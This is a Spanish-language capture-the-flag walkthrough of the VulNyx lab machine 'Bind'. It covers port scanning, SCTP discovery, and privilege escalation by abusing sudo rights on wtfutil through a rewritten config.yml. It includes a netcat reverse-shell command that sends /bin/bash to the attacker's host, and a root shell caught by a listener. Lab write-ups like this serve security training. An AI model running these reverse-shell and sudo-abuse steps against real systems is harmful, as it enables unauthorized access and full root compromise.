VulNyx - Bind

logo

  • Ncat - SCTP
  • Abuse wtfutil Binary - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.15

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,8080 192.168.1.15

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
8080/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Realizo fuerza bruta de directorios y encuentro solamente el directorio transmision.

❯ gobuster dir -u 192.168.1.15 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.15
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/transmission         (Status: 301) [Size: 319] [--> http://192.168.1.15/transmission/]

HTTP TCP - 8080

8080

De nuevo realizo fuerza bruta de directorios al puerto 8080 y encuentro solo un directorio y nada más.

❯ wfuzz -c --hw=933,31 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.15:8080/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.15:8080/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                          
=====================================================================

000006911:   301        9 L      28 W       320 Ch      "stream" 

Escaneo SCTP

Al no encontrar nada realizo un escaneo de puertos por SCTP.

❯ nmap -p- -T5 -n -v 192.168.1.15 -sY

PORT      STATE SERVICE
4444/sctp open  unknown
MAC Address: 08:00:27:CE:DC:C7 (Oracle VirtualBox virtual NIC)

Me conecto con ncat porque ncat tiene soporte para el protocolo SCTP.

❯ ncat --sctp 192.168.1.15 4444
id
uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)

Una vez conectado me lanzo una shell para poder trabajar mas cómodo.

❯ nc -c /bin/bash 192.168.1.17 1234

Obtengo la shell y realizo el tratamiento para la tty.

ariel@bind:~$ script /dev/null -c bash
ctrl+Z
stty raw -echo;fg 
reset
xterm
ariel@bind:~$ export TERM=xterm-256color
ariel@bind:~$ export SHELL=bash
ariel@bind:~$ source /etc/skel/.bashrc
ariel@bind:~$ stty rows 50 cols 200

Enumero permisos de sudo

ariel@bind:~$ sudo -l
Matching Defaults entries for ariel on bind:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ariel may run the following commands on bind:
    (root) NOPASSWD: /usr/bin/wtfutil

Al lanzar el binario puedo ver la ruta el archivo config.yml ubicado en ~/.config/wtf/config.yml.

wtfutil

Copio config.yml al directorio /tmp.

ariel@bind:/tmp$ cp /home/ariel/.config/wtf/config.yml.

En el archivo original localizo el apartado uptime donde este mismo se lanza con el parámetro cmd.

configymloriginal

Puedo manipular el archivo de la siguiente forma para lanzar un netcat con los argumentos necesarios para obtener una shell.

configyml

Una vez he guardado los cambios lanzo el binario con la flag --config= para indicarle al binario wtfutil que lea el archivo de configuración que he creado en el directorio /tmp.

ariel@bind:/tmp$ sudo /usr/bin/wtfutil --config=/tmp/config.yml

Donde anteriormente se mostraba el uptime ahora se muestra el comando nc con los argumentos que le he indicado en el config.yml.

wtfutilwithsudo

Obtengo la shell de root.

❯ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.17] from bind.nyx [192.168.1.15] 51854
id    
uid=0(root) gid=0(root) grupos=0(root)

Y aquí termina la máquina Bind.

Saludos!